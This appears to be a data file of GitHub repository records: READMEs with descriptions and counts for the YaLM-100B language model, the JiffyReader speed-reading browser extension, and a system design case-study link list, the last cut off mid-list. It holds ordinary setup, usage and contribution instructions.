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yandex/YaLM-100B	# YaLM 100B YaLM 100B is a GPT-like neural network for generating and processing text. It can be used freely by developers and researchers from all over the world. The model leverages 100 billion parameters. It took 65 days to train the model on a cluster of 800 A100 graphics cards and 1.7 TB of online texts, books, and countless other sources in both English and Russian. Training details and best practices on acceleration and stabilizations can be found on [Medium](https://medium.com/p/d1df53d0e9a6) (English) and [Habr](https://habr.com/ru/company/yandex/blog/672396/) (Russian) articles. We used DeepSpeed to train the model and drew inspiration from Megatron-LM example. However, the code in this repo is not the same code that was used to train the model. Rather it is stock example from DeepSpeed repo with minimal changes needed to infer our model. ## Setup Make sure to have 200GB of free disk space before downloading weights. The model (code is based on [microsoft/DeepSpeedExamples/Megatron-LM-v1.1.5-ZeRO3](https://github.com/microsoft/DeepSpeedExamples/tree/068e6561188e9192104e014f70fbe25224b5eb62/Megatron-LM-v1.1.5-ZeRO3)) is supposed to run on multiple GPUs with tensor parallelism. It was tested on 4 (A100 80g) and 8 (V100 32g) GPUs, but is able to work with different configurations with ≈200GB of GPU memory in total which divide weight dimensions correctly (e.g. 16, 64, 128). ### Downloading checkpoint * Run `bash download/download.sh` to download model weights and vocabulary. * By default, weights will be downloaded to `./yalm100b_checkpoint/weights/`, and vocabulary will be downloaded to `./yalm100b_checkpoint/vocab/`. * As another option, you can [clone our HF repo](https://huggingface.co/yandex/yalm-100b/tree/main) and [pull the checkpoint](https://huggingface.co/yandex/yalm-100b/tree/main/yalm100b_checkpoint). ### Docker * We [published](https://hub.docker.com/r/yandex/yalm-cuda11-ds) image on Docker Hub, it can be pulled with `docker/pull.sh`. It is compatible with A100 and V100. * Alternatively, you can build docker image from source using `docker/build.sh` (which will just build docker image from `docker/Dockerfile`). * To run container, use `docker/run.sh` (volumes, name and other parameters can be changed). ## Usage You can start with the following scripts: * `examples/generate_interactive.sh`: interactive generation from command line, the simplest way to try the model. * `examples/generate_conditional_sampling.sh`: conditional generation with sampling strategy. Top-p is used by default, feel free to change temperature or use top-k. Input is jsonlines (example: `examples/example_cond_input.json`), output will be the same jsonlines with generated text field added to each line. * `examples/generate_conditional_greedy.sh`: same as previous, but generation is greedy. Suitable for solving problems with few-shot. * `examples/generate_unconditional.sh`: unconditional generation. No input is used, output will be jsonlines. ## License The model is published under the Apache 2.0 license that permits both research and commercial use, Megatron-LM is licensed under the [Megatron-LM license](megatron_lm/LICENSE). ## Training details ### Dataset composition Dataset used for the training of YaLM-100B is comprised of the following parts (rough percentages are measured in tokens seen by the model): * 25% [The Pile](https://pile.eleuther.ai/) — open English dataset by Eleuther AI team * 75% Texts in Russian collected by our team (percentages of the whole dataset are given) * 49% Russian web pages from Yandex Search index filtered from ~100Tb to ~1Tb by the following heuristics: 1. LSH Deduplication — clusters of similar texts were truncated to just one text each 2. Length filtration — too short or too long texts or texts with too few natural sentences were discarded. 3. Entropy filtration — texts with too high or too low entropy were discarded 4. Domain filtration — domains with repetitive texts (like online retail) were discarded 5. Classifier filtration — dataset of good texts was collected in a manner similar to WebText from pages linked in tweets in Russian that have at least one reply. Then a classifier was trained to distinguish those good texts from random pages from the dataset. Texts from the original crawled dataset with low classifier scores were then discarded * 12% News from various sources from Yandex Search index * 10% Books from the dataset used in [Russian Distributional Thesarus](https://russe.nlpub.org/downloads/) * 3% Misc texts from the [Taiga Dataset](https://tatianashavrina.github.io/taiga_site/) * 1.5% Dialogues from social media preprocessed in a manner similar to how Reddit is proccessed in The Pile * 0.5% Russian portion of Wikipedia Some subsets were traversed up to 3 times during the training. ### Training process Model was trained on a cluster of 800 A100 for ~65 days. In that time it consumed 300B tokens. You can see [TensorBoard](https://huggingface.co/yandex/yalm-100b/tensorboard) with LR and ramp up schedule, training metrics and our "thermometers" on the [HF page](https://huggingface.co/yandex/yalm-100b).	Pretrained language model with 100B parameters	null	0	13	5	10	16	1	0
ansh/jiffyreader.com	========================================================================================================== THIS PROJECT IS NO LONGER MAINTAINED. THIS REPOSITORY IS AN ARCHIVE FOR EDUCATIONAL PURPOSES ONLY. ========================================================================================================== # Jiffy Reader A Browser Extension for [Faster Reading](#what-is-faster-reading) on ANY website! <a href="https://www.producthunt.com/posts/jiffy-reader?utm_source=badge-top-post-badge&utm_medium=badge&utm_souce=badge-jiffy-reader" target="_blank"><img src="https://api.producthunt.com/widgets/embed-image/v1/top-post-badge.svg?post_id=347823&theme=light&period=daily" alt="Jiffy Reader - Read anything on the internet faster and more clearly \| Product Hunt" style="width: 250px; height: 54px;" width="250" height="54" /></a> <a href="https://www.producthunt.com/posts/jiffy-reader?utm_source=badge-top-post-topic-badge&utm_medium=badge&utm_souce=badge-jiffy-reader" target="_blank"><img src="https://api.producthunt.com/widgets/embed-image/v1/top-post-topic-badge.svg?post_id=347823&theme=light&period=weekly&topic=Productivity" alt="Jiffy Reader - Read anything on the internet faster and more clearly \| Product Hunt" style="width: 250px; height: 54px;" width="250" height="54" /></a> <a href="https://www.producthunt.com/posts/jiffy-reader?utm_source=badge-featured&utm_medium=badge&utm_souce=badge-jiffy-reader" target="_blank"><img src="https://api.producthunt.com/widgets/embed-image/v1/featured.svg?post_id=347823&theme=light" alt="Jiffy Reader - Read anything on the internet faster and more clearly! \| Product Hunt" style="width: 250px; height: 54px;" width="250" height="54" /></a> <a href="https://www.buymeacoffee.com/jiffyreader" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;" ></a> # How it works Below is a screenshot demonstrating how the extension works by bolding out the initial parts of all text on any page when clicked. There are toggles and sliders to customize it to your preference so you can enjoy your time reading. You must agree this is awesome right? ![Screenshot from 2022-05-29 19-13-02](https://user-images.githubusercontent.com/20851930/170895288-992e802f-4f64-4134-97cc-5144685ecb9e.png) The best way to install this extension is to follow the instructions below. # Table of Contents - [Jiffy Reader](#jiffy-reader) - [How it works](#how-it-works) - [Table of Contents](#table-of-contents) - [Installation Instructions](#installation-instructions) - [Chrome](#chrome) - [Firefox](#firefox) - [Safari](#safari) - [Firefox Nightly / Fennec F-droid / Mull (Android)](#firefox-nightly--fennec-f-droid--mull-android) - [Opera](#opera) - [Edge](#edge) - [Android (kiwi Browser)](#android-kiwi-browser) - [Bookmarklet](#bookmarklet) - [First Installation Welcome](#first-installation-welcome) - [Notes on the extension](#notes-on-the-extension) - [Notes on this page](#notes-on-this-page) - [FAQ](#faq) - [How to access the extension settings/popup ui](#how-to-access-the-extension-settingspopup-ui) - [Desktop](#desktop) - [Android (kiwi browser)](#android-kiwi-browser-1) - [What are the functions of the buttons and sliders](#what-are-the-functions-of-the-buttons-and-sliders) - [Global preferences button](#global-preferences-button) - [Site preferences button](#site-preferences-button) - [Enable reading mode button](#enable-reading-mode-button) - [Saccades interval slider](#saccades-interval-slider) - [Fixation strength slider](#fixation-strength-slider) - [Fixation edge opacity](#fixation-edge-opacity) - [Saccades colors](#saccades-colors) - [Saccades styles](#saccades-styles) - [Line height buttons](#line-height-buttons) - [Always on/off button](#always-onoff-button) - [Reset Defaults](#reset-defaults) - [PDF and Epub support](#pdf-and-epub-support) - [Google Play Books Native (Epub)](#google-play-books-native-epub) - [Upload Epubs to Google PlayBooks (Epubs)](#upload-epubs-to-google-playbooks-epubs) - [PFD Support (convert pdf files to epub or html)](#pfd-support-convert-pdf-files-to-epub-or-html) - [Google Docs support (publish method)](#google-docs-support-publish-method) - [Google Docs support (html download method)](#google-docs-support-html-download-method) - [Enable file url permissions (chrome html)](#enable-file-url-permissions-chrome-html) - [Customizations](#customizations) - [Shortcut](#shortcut) - [What is Faster Reading?](#what-is-faster-reading) - [Reporting Issues, bugs and feature request](#reporting-issues-bugs-and-feature-request) - [How to Contribute](#how-to-contribute) - [Help with Translations](#help-with-translations) - [Working with the translation files.](#working-with-the-translation-files) - [Submitting your translations](#submitting-your-translations) - [Supported languages](#supported-languages) - [Development](#development) - [Configure vscode to run the project when it is opened](#configure-vscode-to-run-the-project-when-it-is-opened) - [Release a new version](#release-a-new-version) # Installation Instructions ## Chrome > Download via [Chrome Store](https://chrome.google.com/webstore/detail/jiffy-reader/lljedihjnnjjefafchaljkhbpfhfkdic) or follow the instructions below 1. Click [here](https://github.com/ansh/jiffyreader.com/releases/latest/download/jiffyReader-chrome.zip) to download the latest `jiffyReader-chrome.zip` release 2. Extract the file 3. Open Chrome 4. Enter `chrome://extensions` in the address bar 5. Enable `developer mode` with the toggle on the top right side of the page if it is not enabled already 6. Click `load unpacked` on the left side of the page 7. Find and select the extracted folder, this extension should now be installed 8. To pin the extension, click the `puzzle icon` on the top right of Chrome, then `pin the extension`. 9. The extensions default reading mode is set to off when installed 10. See the [faq section](#FAQ) on how to use the extension, customize it (global and per site settings) and excluding sites from `always on` ## Firefox > Download via the [Mozilla Firefox Plugin/Add-on Store](https://addons.mozilla.org/en-US/firefox/addon/jiffy-reader/) or follow the instructions below 1. Download `jiffyReader-firefox.xpi` by right clicking [here](https://github.com/ansh/jiffyreader.com/releases/latest/download/jiffyReader-firefox.xpi) and choose `Save link as` to download the latest `jiffyReader-firefox.xpi `release 2. Open Firefox 3. Enter `about:debugging#/runtime/this-firefox` in the address bar 4. Click `Load Temporary Add-on...` and navigate to the path of the downloaded `jiffyReader-firefox.xpi` and select it to install it 5. The extensions default reading mode is set to off when installed 6. See the [faq section](#FAQ) on how to use the extension, customize it (global and per site settings) and excluding sites from `always on` <strong>Firefox will remove the extension when the browser is closed if the extension is not downloaded from the store.</strong> ## Safari > Download via the [App Store here](https://apps.apple.com/in/app/jiffy-reader/id6444754311) or [TestFlight here](https://testflight.apple.com/join/eFFlcXzz). This works for both macOS and iOS. We are working on getting it approved to download directly via the App Store. If you want to build the app yourself, follow the instructions below 1. We will be [converting the web extension for Safari](https://developer.apple.com/documentation/safariservices/safari_web_extensions/converting_a_web_extension_for_safari) usage. This will require a macOS computer and the latest version of XCode installed. 2. Use `git clone` to clone the Jiffy Reader repo locally. 3. Run `pnpm build:xcode` or `pnpm build:xcode:all` to convert the extension. 4. Open the Safari app on your Mac and make sure to click `Develop` `->` `Allow Unsigned Extensions` in the top menu bar. 5. Open the project in XCode and click run! ## Firefox Nightly / Fennec F-droid / Mull (Android) 1. Go to settings 2. Scroll to the bottom and select `About {browser name}` 3. Tap the browser logo five times 4. Go back to settings and in the Advanced section, select `Custom Add-on collection` 5. Type `17432789` as the collection owner (user ID) 6. Type `jiffyreader` as the collection name. The browser will close to apply the settings. 7. Go to Add-ons/Add-ons manager to install the add-on. <strong>For convenience you may want to enable the extension by default by clicking on the `Turn On Always` button in the add-on's menu.</strong> ## Opera 1. Download: Click [here](https://github.com/ansh/jiffyreader.com/releases/latest/download/jiffyReader-opera.crx) to download the latest `jiffyReader-opera.crx` release 2. Extract the file 3. Open Opera 4. Enter `opera://extensions` in the address bar 5. Enable `developer mode` with the toggle on the top right side of the page if it is not enabled already 6. Click `load unpacked` on the left side of the page 7. Find and select the extracted folder, this extension should now be installed and listed on the screen 8. To pin the extension, click the `cube icon` on the top right of Chrome, then `pin the extension`. 9. The extensions default reading mode is set to off when installed 10. See the [faq section](#FAQ) on how to use the extension, customize it (global and per site settings) and excluding sites from `always on` ## Edge - Please follow the steps for [chrome](#chrome) above ## Android (kiwi Browser) 1. Download the kiwi browser if you do not already have it installed 2. Open kiwi browser 3. Navigate to the extension listing on [Chrome Store](https://chrome.google.com/webstore/detail/jiffy-reader/lljedihjnnjjefafchaljkhbpfhfkdic) and 4. Click the `Add to Chrome` button to install the extension 5. The extensions default reading mode is set to off when installed 6. See the [faq section](#FAQ) on how to use the extension, customize it (global and per site settings) and excluding sites from `always on` ## Bookmarklet (Note: Bookmarklet is not in active support and may break when new updates are released) 1. To install the bookmarklet, head over to this [link](https://github.com/ansh/jiffyreader.com/releases/latest/download/jiffyReader-bookmarklet.html) # First Installation Welcome - Thank you for installing JiffyReader. - <strong>Read the 8 points below</strong> which will help you the most in getting you started with JiffyReader ## Notes on the extension 1. Why did the browser open this page? because this is the first time you installed JiffyReader.<br/> 2. The extension is on the default settings and optimal for most websites. 3. Changes to settings are saved instantly and can be restored to the default optimal settings by clicking the `Reset Settings` button at the bottom of the extension. 4. If confused on how to use the buttons and sliders check out the section on [what are the functions of the buttons and sliders](#what-are-the-functions-of-the-buttons-and-sliders). ## Notes on this page 5. You can find important resources such as the [FAQ section](#faq), [how to contribute](#how-to-contribute) and [how to report issues](#reporting-issues-bugs-and-feature-request) on this page.<br/> 6. You can always get to this page by clicking the FAQ link in the footer of the extension popup. 7. For further help, check the [table of contents](#table-of-contents) or open an issue ticket using the links at the very top of this page. 8. You can close this page and return at anytime to find more help or clarification. # FAQ ### How to access the extension settings/popup ui #### Desktop 1. Click on the (on chrome: `puzzle icon` \| on edge `puzzle icon` \| on opera `cube icon` \| on brave `puzzle icon`) - Note: Firefox will auto pin the extension 2. Click on the pin icon next to jiffy reader to pin it next the address bar 3. Click on the pinned icon to access the settings/popup menu ### Android (kiwi browser) 1. Click on the `more (3 vertical dots)` button and scroll down 2. Click on `Jiffy Reader` to open the settings/popup ui ### What are the functions of the buttons and sliders #### Global preferences button - clicking this button enters global mode where your preferences are saved and applied to all other sites when you open them afterwards #### Site preferences button - Clicking this buttons activates and saves preferences only for the site you are presently on. - Any changes you make with the other buttons and sliders persist for only this site. #### Enable reading mode button - Click this button to turn on/off the emphasis (bionification) of the text on the page. - Press `ALT + B` on chrome and `ALT + W` on firefox to achieve the same effect as clicking this button on chrome. see the [shortcut-section](#shortcut) for more info. #### Saccades interval slider - Use this slider to set how many words are left untouched/unbolded or un-emphasized after the first emphasized word or the first word. - 0 means there will not be a single or any untouched words, all words are emphasized. - 1 means exactly 1 word is left untouched before the next successive emphasized word. - 2 means 2 words are left untouched so does 3 and 4. #### Fixation strength slider - Use this to control how much or how little of each word is emphasized you your liking . #### Fixation edge opacity - Use this to control how faint(weakly visible) or strongly visible you want the edge(un-emphasized) part of words to appear. #### Saccades colors - Use this to select a means of creating emphasis using colors. #### Saccades styles - Use this to select a means of creating emphasis using bold variations or underline variations. #### Line height buttons - Use these buttons to increase or decrease line height to strain and improve the comfort of reading. #### Always on/off button - Use this button to controls the default behavior which is if words on pages are or aren't emphasized when loaded by default. #### Reset Defaults - Resets preferences of the currently engaged preference mode. ## PDF and Epub support ### Google Play Books Native (Epub) - This extension works with [google play books](https://play.google.com/books) 1. Open or navigate to [google play books](https://play.google.com/books) 2. Click on any book in your library to read it and turn on the extension if not on already 3. You can search for new books (paid or free) and add to your library to start reading #### Upload Epubs to Google PlayBooks (Epubs) - Upload your Epub ebooks to Google Play Books reads to be able to read it with JiffyReader. 1. Open [google play books](https://play.google.com/books) 2. Click the upload button 3. Select your epub file to complete the upload 4. Click on the uploaded file to open it in the Google Play Books web reader. Have fun. ### PFD Support (convert pdf files to epub or html) 1. Open [cloud convert](https://cloudconvert.com) to 2. Upload your pdf file 3. Select your output format (html or epub) 4. Click convert to start the process 5. Click download 6. Open your downloaded html file in your browser and turn on JiffyReader - For chrome permission issues, follow the steps in [Enable file url permissions (Chrome)](#enable-file-url-permissions-chrome) - For epub files follow the steps in [Upload Epub to Google PlayBooks](#upload-epubs-to-google-playbooks-epubs) - JiffyReader does not collaborate with cloudconvert. Please consult their privacy policy for any privacy concerns. ### Google Docs support (publish method) 1. Open the google docs document in your browser 2. Click File > click share > click publish to web 3. Click publish and copy the published link. Alternatively you can replace `edit` in the address bar with `pub` to access the published document 4. Open the published link in a new tab and turn on JiffyReader - Note: the document will be accessible to anyone on the internet as long as they have the correct link. If you want do not want to publish the document to the web then please follow the alternative steps in [Google Docs support (download method)](#google-docs-support-download-method) ### Google Docs support (html download method) 1. Click on File > click download 2. Download the document as an html (preferred) or epub optional [Google Play Books Native (Epub)](#google-play-books-native-epub-and-pdf-support) 3. Open the downloaded html with your browser and turn on JiffyReader - You may be required to enable permissions to access `file urls` for chrome. To do so follow [Enable file permissions](#enable-file-url-permissions-chrome) ### Enable file url permissions (chrome html) 1. (Chrome) Enable JiffyReader to work with tabs that have file urls by right clicking on the JiffyReader icon 2. Click manage extension 3. Find and enable work with file urls # Customizations ## Shortcut - `Alt+B` is the default toggle shortcut to turn `on or off` the extension - If preferred you may customize the extension shortcut with the help of the resources below - [Chrome, Firefox and Edge](https://www.makeuseof.com/open-browser-extensions-keyboard-shortcut/) - Opera: open the extension management tab and click the `Keyboard shortcuts` link to access the page for customizing opera shortcuts # What is Faster Reading? This extension provides faster reading through facilitating the reading process by bolding half the words. As a result, the reader is only focusing on the bolded initial letters and lets the brain autocomplete the words. This allows you to read faster. # Reporting Issues, bugs and feature request Visit the [issues page](https://github.com/ansh/jiffyreader.com/issues) to report, bugs or tell us about a feature you would like to see and hopefully we will get to you. Kindly allow for some time after submitting a issue for someone to get back to you. You can also see a list of open issues that you may contribute to by commenting to help out someone with a challenge or developing and opening a PR. [See contribution section](#how-to-contribution) # How to Contribute Anyone is welcome to provide contributions to this project by submitting a PR (Pull Request) and it will be happily merged to provide features and fixes to the incredible people using the extension. # Help with Translations JiffyReader is in need of translation help for what ever language you can. To help: 1. Please check that the language you would like to help with has not already been taken up by someone else by looking through both the open and closed tickets for translations. 2. Open a issue ticket and add the `translation` label to it along with the name of the language you want to translate. Use this [shortcut link to open a new ticket](https://github.com/ansh/jiffyreader.com/issues/new?assignees=&labels=enhancement&template=feature_request.md&title=%5BFEATURE%5D+Give+a+suitable+title) 3. Copy either the english locale json [click here](https://github.com/asieduernest12/jiffyreader.com/blob/7ab4cfb06b5e29be8b9cd8e1eb1a9c77aff10ef3/assets/_locales/en/messages.json) or spanish local json [click here](https://github.com/asieduernest12/jiffyreader.com/blob/7ab4cfb06b5e29be8b9cd8e1eb1a9c77aff10ef3/assets/_locales/es/messages.json) translate into the language you can assist with using your preferred editor or even ms word. 4. Indicate the language you would like to help translate in the ticket title. This helps to eliminate duplicate work. - Attach any questions or updates to the ticket you are working on and someone will try and get to them within a day or two. ## Working with the translation files. The translation files are json formats. You only need to worry about translating the text associated with the message key. ``` <!-- example --> "exampleText":{ "message": "this is the text to translate", "description": "it is not required to translate this text" } ``` - result after translation into spanish ``` "exampleText":{ "message": "esto es el texto a traducir", "description": "it is not required to translate this text" } ``` ## Submitting your translations - You can email the translated file or paste the entire translation as a new comment in the ticket you opened and we will take it from there. - Don't forget to indicate your name for attribution. # Supported languages 1. English: by JiffyReader maintainer 2. Spanish: by JiffyReader maintainer 3. Others coming soon: contributor name JiffyReader has been updated to support displaying information in multiple languages thanks to a strong interest and constant emails and enquiries about it. We have implemented the required mechanisms to support displaying the extension in the language of your choice. The challenge we have now is to get as many translations as possible. ## Development 1. Clone the project 2. Open in VS Code or your favorite editor 3. Run `yarn` or `npm i` to install dependencies 4. Install pnpm if you don't already have it, use `npm i -g pnpm` 5. Run `pnpm dev:chrome` or `pnpm run dev:chrome` to build the development version. Substitute chrome for firefox if that is your preferred browser. 6. Follow the installation version for your preferred browser but navigate to the `projectRootFolder/build/` and choose the folder that corresponds with your browser. ## Configure vscode to run the project when it is opened 1. Copy `.vscode/tasks.json.example` to `.vscode/tasks.json` or enter `cp .vscode/tasks.json.example .vscode/tasks.json` in the terminal from the `project root` 2. Open `vs code command pallet` 3. Type and select `Tasks: Manage Automatic Tasks in Folder` 4. Click `Allow Automatic Tasks in Folder`. 5. Reload VS code. ## Release a new version - Change `version` in `package.json`, eg. `"version": "1.0.0"` - Push a new tag to GitHub, eg. `git tag 1.0.0 && git push --tags` - The Workflow should be running [here](https://github.com/ansh/jiffyreader.com/actions) - Check the release version [here](https://github.com/ansh/jiffyreader.com/releases) and edit release notes.	A Browser Extension for faster reading on ANY website!	reading,chrome-extension,web-extension,brave-extension,browser-extension,firefox-extension,opera-extension,safari-extension,bookmark,reader	53	24	116	586	31	4	4
Coder-World04/Complete-System-Design	# Complete System Design with Implemented Case Studies and Code This repository contains everything you need to become proficient in System Design . ![Instagram Design](https://github.com/Coder-World04/Complete-System-Design/assets/104568275/8b0172be-e6f4-47d6-a6c6-c25054692e0e) Youtube for all the projects and tech interview resources - [Ignito Youtube Channel](https://www.youtube.com/@ignito5917/about) [Complete Cheat Sheet for Tech Interviews - How to prepare efficiently](https://open.substack.com/pub/naina0405/p/cheat-sheet-for-tech-interviews-how-339?r=14q3sp&utm_campaign=post&utm_medium=web) [Mega Launch - 200+ System Design Case Studies](https://open.substack.com/pub/naina0405/p/mega-launch-200-new-system-design?r=14q3sp&utm_campaign=post&utm_medium=web) [System Design Most Important Terms](https://medium.com/coders-mojo/day-19-of-system-design-series-system-design-important-terms-45002fbbb789?sk=dab9718bca1b3676f093a759c89dea2c) [System Design Template](https://medium.com/coders-mojo/day-3-of-system-design-case-studies-series-875df4b766b9?sk=1133c9135f849f4497400a6b9caf5c2e) [Complete System Design Case Studies ](https://medium.com/coders-mojo/day-1-of-system-design-case-studies-series-b3c3fecae079?sk=ee7333918f135e06eb3a9b9434d35696) [How to solve any System Design Question ( approach that you should take)](https://medium.com/coders-mojo/day-2-of-system-design-case-studies-series-ccd8899c6e6b?sk=9e95d3979ac4f995dec397c49ab8e05d) [ML System Design Case Studies Series](https://bit.ly/3i5EDiH) For Data Structures and Algorithms, start here : [Day 1 of 30 days of Data Structures and Algorithms and System Design Simplified : DSA and System Design made Easy](https://medium.com/coders-mojo/day-1-of-30-days-of-data-structures-and-algorithms-and-system-design-simplified-dsa-and-system-965e860ec677?sk=aa49bdbc46a72f600cb51774f0aea6b6) Topics you should know in System Design --- 1. [System design basics](https://medium.com/coders-mojo/complete-system-design-series-part-1-45bf9c8654bc) 2. [Horizontal and vertical scaling](https://medium.com/coders-mojo/complete-system-design-series-part-2-922f45f2faaf) 3. [Load balancing and Message queues](https://medium.com/coders-mojo/part-3-complete-system-design-series-e1362baa8a4c) 4. [High level design and low level design, Consistent Hashing, Monolithic and Microservices architecture](https://medium.com/coders-mojo/part-4-complete-system-design-series-138bc9fbcfc0) 5. [Caching, Indexing, Proxies](https://medium.com/coders-mojo/part-5-complete-system-design-series-4b9b04f23608) 6. [Networking, How Browsers work, Content Network Delivery ( CDN)](https://medium.com/coders-mojo/part-6-complete-system-design-series-59a2d8bbf1ed) 7. [Database Sharding, CAP Theorem, Database schema Design](https://medium.com/coders-mojo/part-7-complete-system-design-series-1bef528923d6) 8. [Concurrency, API, Components + OOP + Abstraction](https://medium.com/coders-mojo/part-8-complete-system-design-series-57bc88433c8e) 9. [Estimation and Planning, Performance](https://medium.com/coders-mojo/part-9-complete-system-design-series-df975c85ec51) 10. [Map Reduce, Patterns and Microservices](https://medium.com/coders-mojo/most-popular-system-design-questions-mega-compilation-45218129fe26) # System Design Case Studies \| Case Study Name \| Link to the Case Study \| \| --- \| --- \| \| Design Instagram \| [Link](https://medium.com/coders-mojo/day-4-of-system-design-case-studies-series-design-instagram-part-1-10943440f29c?sk=38e68a213058e169e71754e00c501813) \| \| Design Messenger App \| [Link](https://medium.com/coders-mojo/day-5-of-system-design-case-studies-series-design-messenger-app-7b73c589f4a?sk=4a53b122e8f02836c17fa35622aa0309) \| \| Design Twitter \| [Link](https://medium.com/coders-mojo/day-7-of-system-design-case-studies-series-design-twitter-fd0722d7bb7c?sk=cdfc23d38edd5f48dc30efdcc0801c3e) \| \| Design URL Shortner \| [Link](https://medium.com/coders-mojo/day-8-of-system-design-case-studies-series-design-url-shortener-91c812a08e0b?sk=5e20d426c91ebaacfe43031bc43642da) \| \| Design Dropbox \| [Link](https://medium.com/coders-mojo/day-9-of-system-design-case-studies-series-design-dropbox-ead523ccccfa?sk=03b3b4ea3633051f7a9a7d379b1066b8) \| \| Design Youtube \| [Link](https://medium.com/coders-mojo/day-10-of-system-design-case-studies-series-design-youtube-58bc4ad09c4b?sk=18560ffcc3d7174566d38d60c99d4914) \| \| Design Tinder \| [Link](https://bit.ly/3Mcyj3X) \| \| Design Google Drive \| [Link](https://bit.ly/3uXdQZ7) \| \| Design Messenger App \| [Link](https://bit.ly/3DoAAXi) \| \| Design Instagram \| [Link](https://bit.ly/3BFeHlh) \| \| Design Twitter \| [Link](https://bit.ly/3qIG9Ih) \| \| Design Ticketmaster \| [Link](https://bit.ly/3HKLbOg) \| \| Design Quora \| [Link](https://bit.ly/3FeD9dL) \| \| Design Flipkart \| [Link](https://bit.ly/3iS1a2P) \| \| Design Flickr \| [Link](https://bit.ly/3uCGkXJ) \| \| Design TikTok \| [Link](https://bit.ly/3UUlKxP) \| \| Design Netflix \| [Link](https://bit.ly/3GrAUG1) \| \| Design Foursquare \| [Link](https://bit.ly/3VMYh1O) \| \| Design Uber \| [Link](https://bit.ly/3fyvnlT) \| \| Design Youtube \| [Link](https://bit.ly/3dFyvvy) \| \| Design Reddit \| [Link](https://bit.ly/3OgGJrL) \| \| Design Facebook’s Newsfeed \| [Link](https://bit.ly/3RldaW7) \| \| Design Amazon Prime Video \| [Link](https://bit.ly/3hVpWP4) \| \| Design Web Crawler \| [Link](https://bit.ly/3DPZTBB) \| Design Web Crawler \| [Link](https://bit.ly/3DPZTBB) \| \| Design API Rate Limiter \| [Link](https://bit.ly/3BIVuh7) \| \| Design Dropbox \| [Link](https://bit.ly/3SnhncU) \| \| Design Yelp \| [Link](https://bit.ly/3E7IgO5) \| \| Design Whatsapp \| [Link](https://bit.ly/3M2GOhP) \| \| Design URL Shortener \| [Link](https://bit.ly/3xP078x) \| \| Design Bookmyshow \| [Link](https://bit.ly/3FDFMWF) \| \| Design Linkedin \| [Link](https://medium.com/coders-mojo/day-36-of-system-design-case-studies-series-design-linkedin-961b7b6bd5cb?sk=1628f27339a8f80c34f0661b68ac0cee) \| \| Design Telegram \| [Link](https://medium.com/coders-mojo/day-35-of-system-design-case-studies-series-design-telegram-e9c224cc3a1a?sk=60674d6c02df1f370624ebb83034ee3d) \| \| Design Snapchat \| [Link](https://medium.com/coders-mojo/day-34-of-system-design-case-studies-series-design-snapchat-91e8eaba38cf?sk=73e7276acad635bc84110d705c39653c) \| \| Design One Drive \| [Link](https://medium.com/coders-mojo/day-33-of-system-design-case-studies-series-design-one-drive-d2e98a80f9a7?sk=294027ae3251b87aa5f7edba87d248f2) \| \| Design BookmyShow \| [Link](https://medium.com/coders-mojo/day-32-of-system-design-case-studies-series-design-bookmyshow-8470813a3bff?sk=800521e98d1a63cbaf07944040e0393f) \| \| Design Google Maps \| [Link](https://medium.com/coders-mojo/day-31-of-system-design-case-studies-series-design-google-maps-545feb730ed3?sk=9fd2a81b42fc7927f0c8be08a27f3c49) \| \| Design Quora \| [Link](https://medium.com/coders-mojo/day-29-of-system-design-case-studies-series-design-quora-fcd2ff0c2aab?sk=cf3ca6447b8295aeb912ea1c6a8ce666) \| \| Design Foursquare \| [Link](https://medium.com/coders-mojo/day-28-of-system-design-case-studies-series-design-foursquare-6cfa5a3c00bf?sk=a78fe7fac24bfa0045a870c7f7cd47ff) \| \| Design Tiny URL \| [Link](https://medium.com/coders-mojo/day-26-of-system-design-case-studies-series-design-tiny-url-4850ed7922e?sk=732181ae6072053c6644d5fb2b57e80e) \| \| Design Flipkart \| [Link](https://medium.com/coders-mojo/day-24-of-system-design-case-studies-series-design-flipkart-42af832b9794?sk=1deba4)\| ------------------------------- [Design Instagram](https://medium.com/coders-mojo/day-4-of-system-design-case-studies-series-design-instagram-part-1-10943440f29c?sk=38e68a213058e169e71754e00c501813) [Design Messenger App](https://medium.com/coders-mojo/day-5-of-system-design-case-studies-series-design-messenger-app-7b73c589f4a?sk=4a53b122e8f02836c17fa35622aa0309) [Design Twitter](https://medium.com/coders-mojo/day-7-of-system-design-case-studies-series-design-twitter-fd0722d7bb7c?sk=cdfc23d38edd5f48dc30efdcc0801c3e) [Design URL Shortner](https://medium.com/coders-mojo/day-8-of-system-design-case-studies-series-design-url-shortener-91c812a08e0b?sk=5e20d426c91ebaacfe43031bc43642da) [Design Dropbox](https://medium.com/coders-mojo/day-9-of-system-design-case-studies-series-design-dropbox-ead523ccccfa?sk=03b3b4ea3633051f7a9a7d379b1066b8) [Design Youtube](https://medium.com/coders-mojo/day-10-of-system-design-case-studies-series-design-youtube-58bc4ad09c4b?sk=18560ffcc3d7174566d38d60c99d4914) [Design Tinder ](https://bit.ly/3Mcyj3X) [Design Google Drive ](https://bit.ly/3uXdQZ7) [Design Messenger App ](https://bit.ly/3DoAAXi) [Design Instagram ](https://bit.ly/3BFeHlh) [Design Twitter ](https://bit.ly/3qIG9Ih) [Design Ticketmaster](https://bit.ly/3HKLbOg) [Design Quora ](https://bit.ly/3FeD9dL) [Design Flipkart](https://bit.ly/3iS1a2P) [Design Flickr](https://bit.ly/3uCGkXJ) [Design TikTok](https://bit.ly/3UUlKxP) [Design Netflix ](https://bit.ly/3GrAUG1) [Design Foursquare](https://bit.ly/3VMYh1O) [Design Uber ](https://bit.ly/3fyvnlT) [Design Youtube ](https://bit.ly/3dFyvvy) [Design Reddit ](https://bit.ly/3OgGJrL) [Design Facebook’s Newsfeed ](https://bit.ly/3RldaW7) [Design Amazon Prime Video ](https://bit.ly/3hVpWP4) [Design Web Crawler ](https://bit.ly/3DPZTBB) [Design API Rate Limiter ](https://bit.ly/3BIVuh7) [Design Dropbox ](https://bit.ly/3SnhncU) [Design Yelp ](https://bit.ly/3E7IgO5) [Design Whatspp ](https://bit.ly/3M2GOhP) [Design URL shortener ](https://bit.ly/3xP078x) [Design Bookmyshow ](https://bit.ly/3FDFMWF) [Design Linkedin](https://medium.com/coders-mojo/day-36-of-system-design-case-studies-series-design-linkedin-961b7b6bd5cb?sk=1628f27339a8f80c34f0661b68ac0cee) [Design Telegram](https://medium.com/coders-mojo/day-35-of-system-design-case-studies-series-design-telegram-e9c224cc3a1a?sk=60674d6c02df1f370624ebb83034ee3d) [Design 